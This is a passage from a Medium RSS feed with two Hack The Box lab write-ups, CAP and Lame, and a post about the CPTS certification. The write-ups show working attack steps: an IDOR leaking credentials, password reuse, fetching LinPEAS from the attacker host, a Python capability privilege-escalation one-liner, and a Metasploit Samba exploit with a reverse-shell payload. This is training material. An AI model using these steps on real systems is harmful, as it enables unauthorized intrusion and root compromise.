privilege as a foundational security best practice.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d39d44db4327" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kicking Off the HTB Red Team Track: CAP Machine Breakdown]]></title>
            <link>https://medium.com/@kulindukody/kicking-off-the-htb-red-team-track-cap-machine-breakdown-a607c00c77ad?source=rss-f74c65e600d5------2</link>
            <guid isPermaLink="false">https://medium.com/p/a607c00c77ad</guid>
            <category><![CDATA[htb-red-team-track]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[cap]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Kulindu Kodithuwakku]]></dc:creator>
            <pubDate>Sat, 28 Jun 2025 02:28:58 GMT</pubDate>
            <atom:updated>2025-06-28T02:28:58.588Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*dILdV2AukyNJ2vyNPNycSA.png" /></figure><p>As part of the <strong>Hack The Box Intro to Red Team Track</strong>, I explored <strong>CAP</strong>, an easy-difficulty Linux machine that simulates an initial access scenario often encountered in real-world red team engagements. The machine hosts a web-based network capture service used for administrative purposes, which becomes the entry point for exploitation due to weak access controls.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M588gQqno8vUCc2-WTdYtg.png" /></figure><p>The core vulnerability lies in an <strong>Insecure Direct Object Reference (IDOR)</strong> that allows unauthorized access to another user’s packet capture. Within the pcap file, plaintext credentials are exposed, enabling a low-privileged foothold. Privilege escalation is achieved by abusing a misconfigured <strong>Linux capability</strong>, illustrating how minor missteps in configuration can lead to full system compromise. This machine offers a solid starting point for understanding real-world red team tactics around enumeration, exploitation, and privilege escalation.</p><h3>In-Depth Walkthrough of the Exploitation Process</h3><p>The tester kicked off the assessment with an Nmap scan, uncovering exposed ports and revealing the underlying services running on the target system.</p><pre>$ nmap -sCV -v 10.129.232.215<br>Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-28 06:27 +0530<br>[SNIP]<br>PORT   STATE SERVICE VERSION<br>21/tcp open  ftp     vsftpd 3.0.3<br>22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)<br>|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)<br>|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)<br>80/tcp open  http    Gunicorn<br>|_http-title: Security Dashboard<br>|_http-server-header: gunicorn<br>| http-methods: <br>|_  Supported Methods: HEAD GET OPTIONS<br>Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>Nmap revealed that ports 21 (FTP), 22 (SSH), and 80 (HTTP) were open on the target. The tester began service enumeration with port 21, diving into the FTP service for potential misconfigurations or anonymous access.</p><pre>$ ftp anonyoumous@10.129.232.215 <br>Connected to 10.129.232.215.<br>220 (vsFTPd 3.0.3)<br>331 Please specify the password.<br>Password: <br>530 Login incorrect.<br>ftp: Login failed<br>ftp&gt;</pre><p>The tester confirmed that anonymous login was disabled on the service, prompting a strategic pivot to begin thorough enumeration of the web server on port 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qWxdWPIvDtsQixpmLnq2Vg.png" /></figure><p>The tester identified the application as a network analyzer web interface. They then located a page that performs network scans and allows downloading of .pcap files. This page is accessible via /data/&lt;id&gt;, prompting the tester to investigate the possibility of an IDOR vulnerability within the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Knp3yPgYz3Ln2IY1oIK9aw.png" /></figure><p>The tester modified the ID parameter to 0, which resulted in a noticeable change in packet counts and other data. Subsequently, the tester downloaded the .pcap file for detailed analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4WWCrlIaBURKyvQSMvIIaA.png" /></figure><p>The tester downloaded the .pcap file and analyzed it using Wireshark, where they discovered unencrypted FTP traffic. This exposure enabled the tester to identify the password for the user <strong>nathan</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IlkrGV_TPUvKf1IgHzGXOQ.png" /></figure><p>Using the discovered credentials, the tester successfully logged into the FTP service and subsequently retrieved the User Flag from the machine.</p><pre>$ ftp nathan@10.129.232.215 <br>Connected to 10.129.232.215.<br>220 (vsFTPd 3.0.3)<br>331 Please specify the password.<br>Password: <br>230 Login successful.<br>Remote system type is UNIX.<br>Using binary mode to transfer files.<br>ftp&gt; ls<br>229 Entering Extended Passive Mode (|||49808|)<br>150 Here comes the directory listing.<br>-r--------    1 1001     1001           33 Jun 28 00:56 user.txt<br>226 Directory send OK.<br>ftp&gt; get user.txt<br>local: user.txt remote: user.txt<br>229 Entering Extended Passive Mode (|||39698|)<br>150 Opening BINARY mode data connection for user.txt (33 bytes).<br>100% |******************************************************************************************************************************************************************************************************************|    33        0.18 KiB/s    00:00 ETA226 Transfer complete.<br>33 bytes received in 00:00 (0.04 KiB/s)<br>ftp&gt; exit</pre><p>The tester then attempted to access the SSH service, hypothesizing credential reuse by the user. This approach proved successful, granting the tester SSH access to the machine.</p><pre>$ ssh nathan@10.129.232.215 <br>The authenticity of host &#39;10.129.232.215 (10.129.232.215)&#39; can&#39;t be established.<br>ED25519 key fingerprint is SHA256:UDhIJpylePItP3qjtVVU+GnSyAZSr+mZKHzRoKcmLUI.<br>This key is not known by any other names.<br>Are you sure you want to continue connecting (yes/no/[fingerprint])? yes<br>Warning: Permanently added &#39;10.129.232.215&#39; (ED25519) to the list of known hosts.<br>nathan@10.129.232.215&#39;s password: <br>Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)<br><br> * Documentation:  https://help.ubuntu.com<br> * Management:     https://landscape.canonical.com<br> * Support:        https://ubuntu.com/advantage<br><br>  System information as of Sat Jun 28 01:17:11 UTC 2025<br><br>  System load:           0.0<br>  Usage of /:            36.7% of 8.73GB<br>  Memory usage:          21%<br>  Swap usage:            0%<br>  Processes:             222<br>  Users logged in:       0<br>  IPv4 address for eth0: 10.129.232.215<br>  IPv6 address for eth0: dead:beef::250:56ff:fe95:6635<br><br> * Super-optimized for small spaces - read how we shrank the memory<br>   footprint of MicroK8s to make it the smallest full K8s around.<br><br>   https://ubuntu.com/blog/microk8s-memory-optimisation<br><br>63 updates can be applied immediately.<br>42 of these updates are standard security updates.<br>To see these additional updates run: apt list --upgradable<br><br><br>The list of available updates is more than a week old.<br>To check for new updates run: sudo apt update<br><br>Last login: Thu May 27 11:21:27 2021 from 10.10.14.7<br>nathan@cap:~$</pre><p>The tester proceeded with privilege escalation enumeration by uploading and executing LinPEAS on the target machine to identify potential vulnerabilities and misconfigurations.</p><pre>nathan@cap:~$ curl 10.10.16.150:8090/linpeas.sh -o linpeas.sh<br>  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current<br>                                 Dload  Upload   Total   Spent    Left  Speed<br>100  820k  100  820k    0     0   152k      0  0:00:05  0:00:05 --:--:--  186k<br>nathan@cap:~$ ls<br>linpeas.sh  user.txt<br>nathan@cap:~$ chmod +x linpeas.sh <br>nathan@cap:~$ ./linpeas.sh</pre><p>After analyzing the LinPEAS output, the tester discovered that Python 3.8 had been granted elevated capabilities, which could be leveraged to escalate privileges and obtain the final root flag.</p><pre>╔══════════╣ Capabilities<br>╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#capabilities                                                              <br>══╣ Current shell capabilities                                                                                                                              <br>CapInh:  0x0000000000000000=                                                                                                                                <br>CapPrm:  0x0000000000000000=<br>CapEff:  0x0000000000000000=<br>CapBnd:  0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read<br>CapAmb:  0x0000000000000000=<br><br>╚ Parent process capabilities<br>CapInh:  0x0000000000000000=                                                                                                                                <br>CapPrm:  0x0000000000000000=<br>CapEff:  0x0000000000000000=<br>CapBnd:  0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read<br>CapAmb:  0x0000000000000000=<br><br><br>Files with capabilities (limited to 50):<br>/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip<br>/usr/bin/ping = cap_net_raw+ep<br>/usr/bin/traceroute6.iputils = cap_net_raw+ep<br>/usr/bin/mtr-packet = cap_net_raw+ep<br>/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep</pre><p>The Python binary /usr/bin/python3.8 possesses special Linux capabilities—namely cap_setuid (allowing user ID changes) and cap_net_bind_service (enabling binding to low-numbered ports)—which are typically reserved for the root user. These capabilities are active (+eip), allowing any user to execute Python scripts that can alter their user identity, potentially escalating to root. This presents a significant security risk, as it enables straightforward privilege escalation and full system compromise.</p><pre>nathan@cap:~$ /usr/bin/python3.8 -c &#39;import os; os.setuid(0); os.system(&quot;/bin/bash&quot;)&#39;<br>root@cap:~# id<br>uid=0(root) gid=1001(nathan) groups=1001(nathan)<br>root@cap:~# cat /root/root.txt<br>072273a4d0bd6fe2ccdd7ea0a09e6515</pre><h3><strong>Closing Remarks</strong></h3><p>Through this engagement, we gained valuable insights into multiple aspects of penetration testing. We explored an IDOR vulnerability to access unauthorized resources, performed detailed .pcap file analysis to uncover sensitive information, applied a red team mindset by testing credential reuse across services, and identified dangerous Linux capabilities misconfigurations leading to privilege escalation. These findings underscore the importance of comprehensive testing and vigilant security controls across all layers of an environment.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a607c00c77ad" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Rooting “Lame” on HackTheBox — Step-by-Step Guide]]></title>
            <link>https://medium.com/@kulindukody/rooting-lame-on-hackthebox-step-by-step-guide-dfe338130c28?source=rss-f74c65e600d5------2</link>
            <guid isPermaLink="false">https://medium.com/p/dfe338130c28</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[lame]]></category>
            <category><![CDATA[htb-easy]]></category>
            <dc:creator><![CDATA[Kulindu Kodithuwakku]]></dc:creator>
            <pubDate>Thu, 26 Jun 2025 12:09:01 GMT</pubDate>
            <atom:updated>2025-06-28T02:30:01.412Z</atom:updated>
            <content:encoded><![CDATA[<h3>Rooting “Lame” on HackTheBox — Step-by-Step Guide</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xpuox_gdMPkHW5wFIsp9Uw.png" /></figure><h3>Initial Overview</h3><p>In this walkthrough, we’ll be tackling <strong>Lame</strong>, one of the beginner-friendly Linux machines on <strong>Hack The Box</strong>. As its name suggests, Lame is a relatively straightforward box that introduces users to basic exploitation techniques using well-known public vulnerabilities. This machine serves as a great starting point for newcomers to penetration testing, especially those looking to get hands-on with tools like <strong>nmap</strong>, <strong>smbclient</strong>, and <strong>Metasploit</strong>. Let’s dive in and walk through the steps to gain root access.</p><h3><strong>In-Depth Walkthrough of the Exploitation Process</strong></h3><p>The tester began the assessment by performing an <strong>Nmap</strong> scan to identify open ports and services running on the target machine.</p><pre>$ nmap -sCV -v 10.129.232.205<br>Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-26 16:59 +0530<br>[SNIP]<br>PORT    STATE SERVICE     VERSION<br>21/tcp  open  ftp         vsftpd 2.3.4<br>|_ftp-anon: Anonymous FTP login allowed (FTP code 230)<br>| ftp-syst: <br>|   STAT: <br>| FTP server status:<br>|      Connected to 10.10.16.150<br>|      Logged in as ftp<br>|      TYPE: ASCII<br>|      No session bandwidth limit<br>|      Session timeout in seconds is 300<br>|      Control connection is plain text<br>|      Data connections will be plain text<br>|      vsFTPd 2.3.4 - secure, fast, stable<br>|_End of status<br>22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)<br>| ssh-hostkey: <br>|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)<br>|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)<br>139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)<br>445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)<br>Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Host script results:<br>|_clock-skew: mean: 2h00m14s, deviation: 2h49m45s, median: 12s<br>| smb-security-mode: <br>|   account_used: guest<br>|   authentication_level: user<br>|   challenge_response: supported<br>|_  message_signing: disabled (dangerous, but default)<br>|_smb2-time: Protocol negotiation failed (SMB2)<br>| smb-os-discovery: <br>|   OS: Unix (Samba 3.0.20-Debian)<br>|   Computer name: lame<br>|   NetBIOS computer name: <br>|   Domain name: hackthebox.gr<br>|   FQDN: lame.hackthebox.gr<br>|_  System time: 2025-06-26T07:29:51-04:00bas</pre><p>The tester identified that ports <strong>21 (FTP)</strong>, <strong>22 (SSH)</strong>, <strong>139</strong>, and <strong>445 (SMB)</strong> were open on the target machine. As an initial step, the tester attempted an anonymous login via FTP to assess potential misconfigurations or accessible files.</p><pre>$ ftp anonymous@10.129.232.205<br>Connected to 10.129.232.205.<br>220 (vsFTPd 2.3.4)<br>331 Please specify the password.<br>Password: <br>230 Login successful.<br>Remote system type is UNIX.<br>Using binary mode to transfer files.<br>ftp&gt; ls<br>229 Entering Extended Passive Mode (|||44694|).<br>150 Here comes the directory listing.<br>226 Directory send OK.<br>ftp&gt;</pre><p>The anonymous FTP login was successful; however, it did not reveal any valuable information or files of interest. As a result, the tester proceeded to enumerate the <strong>SMB service</strong> by attempting an anonymous login to assess for potential misconfigurations or accessible shares.</p><pre>$ nxc smb 10.129.232.205 -u &#39;&#39; -p &#39;&#39;<br>SMB         10.129.232.205  445    LAME             [*] Unix (name:LAME) (domain:hackthebox.gr) (signing:False) (SMBv1:True) <br>SMB         10.129.232.205  445    LAME             [+] hackthebox.gr\:</pre><p>The tester successfully accessed the SMB shares as a null (unauthenticated) user. This prompted further enumeration of the available shares to identify any sensitive files or misconfigurations that could be leveraged for initial access.</p><pre>$ nxc smb 10.129.232.205 -u &#39;&#39; -p &#39;&#39; --shares<br>SMB         10.129.232.205  445    LAME             [*] Unix (name:LAME) (domain:hackthebox.gr) (signing:False) (SMBv1:True) <br>SMB         10.129.232.205  445    LAME             [+] hackthebox.gr\: <br>SMB         10.129.232.205  445    LAME             [*] Enumerated shares<br>SMB         10.129.232.205  445    LAME             Share           Permissions     Remark<br>SMB         10.129.232.205  445    LAME             -----           -----------     ------<br>SMB         10.129.232.205  445    LAME             print$                          Printer Drivers<br>SMB         10.129.232.205  445    LAME             tmp             READ,WRITE      oh noes!<br>SMB         10.129.232.205  445    LAME             opt                             <br>SMB         10.129.232.205  445    LAME             IPC$                            IPC Service (lame server (Samba 3.0.20-Debian))<br>SMB         10.129.232.205  445    LAME             ADMIN$                          IPC Service (lame server (Samba 3.0.20-Debian))</pre><p>The tester discovered full read and write access to the <strong>tmp</strong> share. Leveraging this access, the tester proceeded to enumerate its conte</p><pre>$ smbclient &quot;//10.129.232.205/tmp&quot; -U &#39;&#39;                                                      <br>Password for [WORKGROUP\]:<br>Try &quot;help&quot; to get a list of possible commands.<br>smb: \&gt; ls<br>  .                                   D        0  Thu Jun 26 17:08:57 2025<br>  ..                                 DR        0  Sat Oct 31 12:03:58 2020<br>  5578.jsvc_up                        R        0  Thu Jun 26 16:57:47 2025<br>  .ICE-unix                          DH        0  Thu Jun 26 16:56:36 2025<br>  vmware-root                        DR        0  Thu Jun 26 16:57:16 2025<br>  .X11-unix                          DH        0  Thu Jun 26 16:57:02 2025<br>  .X0-lock                           HR       11  Thu Jun 26 16:57:02 2025<br>  vgauthsvclog.txt.0                  R     1600  Thu Jun 26 16:56:34 2025<br><br>                7282168 blocks of size 1024. 5385912 blocks available</pre><p>The tester downloaded the file <strong>vgauthsvclog.txt.0</strong> from the tmp share and reviewed its contents. However, the file did not contain any useful or interesting information relevant to the exploitation process.</p><pre>$ cat vgauthsvclog.txt.0 <br>[Jun 26 07:26:33.413] [ message] [VGAuthService] VGAuthService &#39;build-4448496&#39; logging at level &#39;normal&#39;<br>[Jun 26 07:26:33.414] [ message] [VGAuthService] Pref_LogAllEntries: 1 preference groups in file &#39;/etc/vmware-tools/vgauth.conf&#39;<br>[Jun 26 07:26:33.414] [ message] [VGAuthService] Group &#39;service&#39;<br>[Jun 26 07:26:33.414] [ message] [VGAuthService]         samlSchemaDir=/usr/lib/vmware-vgauth/schemas<br>[Jun 26 07:26:33.414] [ message] [VGAuthService] Pref_LogAllEntries: End of preferences<br>[Jun 26 07:26:33.874] [ message] [VGAuthService] VGAuthService &#39;build-4448496&#39; logging at level &#39;normal&#39;<br>[Jun 26 07:26:33.874] [ message] [VGAuthService] Pref_LogAllEntries: 1 preference groups in file &#39;/etc/vmware-tools/vgauth.conf&#39;<br>[Jun 26 07:26:33.874] [ message] [VGAuthService] Group &#39;service&#39;<br>[Jun 26 07:26:33.874] [ message] [VGAuthService]         samlSchemaDir=/usr/lib/vmware-vgauth/schemas<br>[Jun 26 07:26:33.874] [ message] [VGAuthService] Pref_LogAllEntries: End of preferences<br>[Jun 26 07:26:33.874] [ message] [VGAuthService] Cannot load message catalog for domain &#39;VGAuthService&#39;, language &#39;C&#39;, catalog dir &#39;.&#39;.<br>[Jun 26 07:26:33.874] [ message] [VGAuthService] INIT SERVICE<br>[Jun 26 07:26:33.874] [ message] [VGAuthService] Using &#39;/var/lib/vmware/VGAuth/aliasStore&#39; for alias store root directory<br>[Jun 26 07:26:33.923] [ message] [VGAuthService] SAMLCreateAndPopulateGrammarPool: Using &#39;/usr/lib/vmware-vgauth/schemas&#39; for SAML schemas<br>[Jun 26 07:26:34.006] [ message] [VGAuthService] SAML_Init: Allowing 300 of clock skew for SAML date validation<br>[Jun 26 07:26:34.006] [ message] [VGAuthService] BEGIN SERVICE</pre><p>The tester then revisited the service enumeration phase and began researching known vulnerabilities associated with the specific versions of the services running on the target machine.</p><blockquote>vsftpd 2.3.4 and smbd 3.0.20</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*N_KtrntG6Qn7O8xzIBzuog.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*wD-HxCXdxZzj-xvdSrT8FA.png" /></figure><p>The tester attempted to exploit a known vulnerability in <strong>VSFTPD</strong>, but determined that the service was patched and not vulnerable. As a result, attention was shifted to the <strong>Samba service</strong>, where the tester explored known exploits targeting the specific version in use.</p><pre>$ sudo msfconsole<br>[sudo] password for kuli: <br>[SNIP]<br>msf6 &gt; search &quot;samba 3.0.20&quot;<br><br>Matching Modules<br>================<br><br>   #  Name                                Disclosure Date  Rank       Check  Description<br>   -  ----                                ---------------  ----       -----  -----------<br>   0  exploit/multi/samba/usermap_script  2007-05-14       excellent  No     Samba &quot;username map script&quot; Command Execution<br><br><br>Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script<br><br>msf6 &gt;</pre><p>The tester identified the relevant exploit module for the Samba vulnerability and successfully leveraged it to gain initial access to the target machine.</p><pre>msf6 &gt; use exploit/multi/samba/usermap_script<br>[*] No payload configured, defaulting to cmd/unix/reverse_netcat<br>msf6 exploit(multi/samba/usermap_script) &gt; options<br><br>Module options (exploit/multi/samba/usermap_script):<br><br>   Name     Current Setting  Required  Description<br>   ----     ---------------  --------  -----------<br>   CHOST                     no        The local client address<br>   CPORT                     no        The local client port<br>   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]<br>   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html<br>   RPORT    139              yes       The target port (TCP)<br><br><br>Payload options (cmd/unix/reverse_netcat):<br><br>   Name   Current Setting  Required  Description<br>   ----   ---------------  --------  -----------<br>   LHOST  192.168.8.133    yes       The listen address (an interface may be specified)<br>   LPORT  4444             yes       The listen port<br><br><br>Exploit target:<br><br>   Id  Name<br>   --  ----<br>   0   Automatic</pre><p>A few configuration adjustments were necessary to ensure the exploit would execute successfully.</p><pre>msf6 exploit(multi/samba/usermap_script) &gt; set lhost tun0<br>lhost =&gt; 10.10.16.150<br>msf6 exploit(multi/samba/usermap_script) &gt; set rhosts 10.129.232.205<br>rhosts =&gt; 10.129.232.205</pre><p>The tester executed the exploit, successfully gaining root-level access to the target machine.</p><pre>msf6 exploit(multi/samba/usermap_script) &gt; run<br>[*] Started reverse TCP handler on 10.10.16.150:4444 <br>[*] Command shell session 2 opened (10.10.16.150:4444 -&gt; 10.129.232.205:33679) at 2025-06-26 17:29:09 +0530<br><br>whoami<br>root</pre><h3>Remediations</h3><ul><li><strong>Update Samba to the Latest Version:</strong> Ensure that the Samba service is updated to the latest stable version, which includes patches for known vulnerabilities such as CVE-2007–2447 and others.</li><li><strong>Disable Unnecessary Services:</strong> If SMB services are not required on the machine, consider disabling them to reduce the attack surface.</li><li><strong>Implement Proper Access Controls:</strong> Restrict anonymous or null user access to SMB shares, especially sensitive or writable shares like tmp.</li><li><strong>Use Firewalls to Limit Exposure:</strong> Configure firewalls to restrict access to SMB and FTP services only to trusted hosts or internal networks.</li><li><strong>Regular Vulnerability Scanning:</strong> Schedule routine vulnerability assessments to detect outdated or vulnerable services early and patch them promptly.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dfe338130c28" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[10 Days of Hell : The Certification That Nearly Broke Me (But Made Me Better)]]></title>
            <link>https://medium.com/@kulindukody/10-days-of-hell-the-certification-that-nearly-broke-me-but-made-me-better-45ca59462878?source=rss-f74c65e600d5------2</link>
            <guid isPermaLink="false">https://medium.com/p/45ca59462878</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[htb-cpts]]></category>
            <category><![CDATA[certification]]></category>
            <category><![CDATA[cpt]]></category>
            <dc:creator><![CDATA[Kulindu Kodithuwakku]]></dc:creator>
            <pubDate>Sun, 22 Jun 2025 06:33:42 GMT</pubDate>
            <atom:updated>2025-06-22T07:56:35.393Z</atom:updated>
            <content:encoded><![CDATA[<h3>10 Days of Hell : The Certification That Nearly Broke Me (But Made Me Better)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aGchVq2Lx1qP5NdpEh7VLQ.png" /></figure><h3>What Exactly Is CPTS?</h3><p>The <strong>Certified Penetration Testing Specialist (CPTS)</strong>, built by the folks at <strong>Hack The Box</strong>, is not your typical cybersecurity cert. It’s designed to see if you can really think and act like an attacker in a setup that feels more like a real company network than a classroom lab.</p><p>It’s not just about popping a single machine and calling it a day. You’ve got to <strong>find a way in, move around the network, escalate access, pivot through systems, </strong>and eventually pull out the sensitive stuff all while keeping your cool. Basically, it’s like stepping into the shoes of a real red teamer.</p><p>Most certs test what you <strong><em>know</em></strong>. CPTS tests how you <strong><em>think</em></strong><em>. </em>especially when things get tough. It’ll push your patience, your problem-solving, and your creativity. But if you make it through, it’s one of the most rewarding certifications out there.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F1gWRqxtK-zg%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D1gWRqxtK-zg&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F1gWRqxtK-zg%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/3cf8c448f8d41f313f0857c9b5b7607a/href">https://medium.com/media/3cf8c448f8d41f313f0857c9b5b7607a/href</a></iframe><h3>Who’s CPTS Actually For? (Hint: Not Just Hackers in Hoodies)</h3><p>CPTS is for anyone who’s serious about proving they can think like a real attacker — not just run tools and hope for the best. If you’ve been grinding Hack The Box machines, diving into red team content, or working in pentesting and want to level up with something that feels <em>real</em>, this cert is 100% for you.</p><p>But let’s be clear — <strong>CPTS is <em>not</em> an entry-level certification</strong>. It’s definitely not for beginners just getting started in cybersecurity. This is a <strong>solid intermediate-to-advanced level</strong> exam, meant for people who already understand core concepts like enumeration, privilege escalation, pivoting, and post-exploitation.</p><p>It’s especially great for:</p><ul><li>Pentesters who want to prove they can handle complex, multi-layered environments</li><li>Bug bounty hunters looking to transition into structured enterprise engagements</li><li>Red teamers and offensive security pros sharpening their skills</li><li>Even blue teamers who want to see how attackers really move through a network</li></ul><p>If you’re the kind of person who enjoys getting stuck, figuring things out from scratch, and <em>earning</em> every step forward — CPTS was made for you.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hBPYNPaLS7oUEOeC8f1iwA.png" /></figure><h3>What You’ll Be Tested On: Real-World Skills, Not Just Commands</h3><p>CPTS isn’t just about knowing how to use tools — it’s about understanding how real attacks unfold, how to adapt, and how to think like an adversary. The exam covers a wide range of <strong>core penetration testing knowledge domains</strong>, all built around practical, hands-on application.</p><p>Here’s what CPTS will evaluate you on:</p><ul><li><strong>Penetration Testing Processes &amp; Methodologies</strong><br> Know the flow — from planning and scoping to execution and reporting.</li><li><strong>Information Gathering &amp; Reconnaissance</strong><br> Manual and automated techniques to map your target and gather intel.</li><li><strong>Attacking Windows &amp; Linux Targets</strong><br> Exploiting OS-level flaws and weaknesses — no “one-size-fits-all” approach here.</li><li><strong>Active Directory Penetration Testing</strong><br> Real enterprise-style AD attacks: enumeration, abuse, trust misconfig, and more.</li><li><strong>Web Application Penetration Testing</strong><br> Finding and exploiting web-based vulnerabilities beyond the basics.</li><li><strong>Manual &amp; Automated Exploitation</strong><br> Knowing when to go custom, and when automation makes sense.</li><li><strong>Vulnerability Assessment</strong><br> Identifying flaws, assessing risk, and figuring out what’s really exploitable.</li><li><strong>Pivoting &amp; Lateral Movement</strong><br> Moving across networks like a pro, with multiple pivots if needed.</li><li><strong>Post-Exploitation Enumeration</strong><br> Dig deeper after access — find creds, paths, and persistence opportunities.</li><li><strong>Windows &amp; Linux Privilege Escalation</strong><br> Escalating rights through misconfigs, services, and more.</li><li><strong>Vulnerability/Risk Communication &amp; Reporting</strong><br> Crafting a clear, professional report that communicates the impact, not just the exploit.</li></ul><p>These domains are the heart of CPTS — and every bit of knowledge gets put to the test in a realistic, high-pressure environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*HOK9EiZ3CrAGWlJWSETPbA.png" /><figcaption>CPTS Pathway on HTB Academy</figcaption></figure><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fvideoseries%3Flist%3DPLidcsTyj9JXItWpbRtTg6aDEj10_F17x5&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fplaylist%3Flist%3DPLidcsTyj9JXItWpbRtTg6aDEj10_F17x5&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FH9FcE_FMZio%2Fhqdefault.jpg%3Fsqp%3D-oaymwEXCOADEI4CSFryq4qpAwkIARUAAIhCGAE%3D%26rs%3DAOn4CLBRMWfoL0jV7LcYWsEVcKQjSP4YzQ%26days_since_epoch%3D20261&amp;type=text%2Fhtml&amp;schema=youtube" width="853" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/81c817bd3e7cfcbc2fece48e61255a94/href">https://medium.com/media/81c817bd3e7cfcbc2fece48e61255a94/href</a></iframe><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fh53sRfcsVIo%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dh53sRfcsVIo&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fh53sRfcsVIo%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a 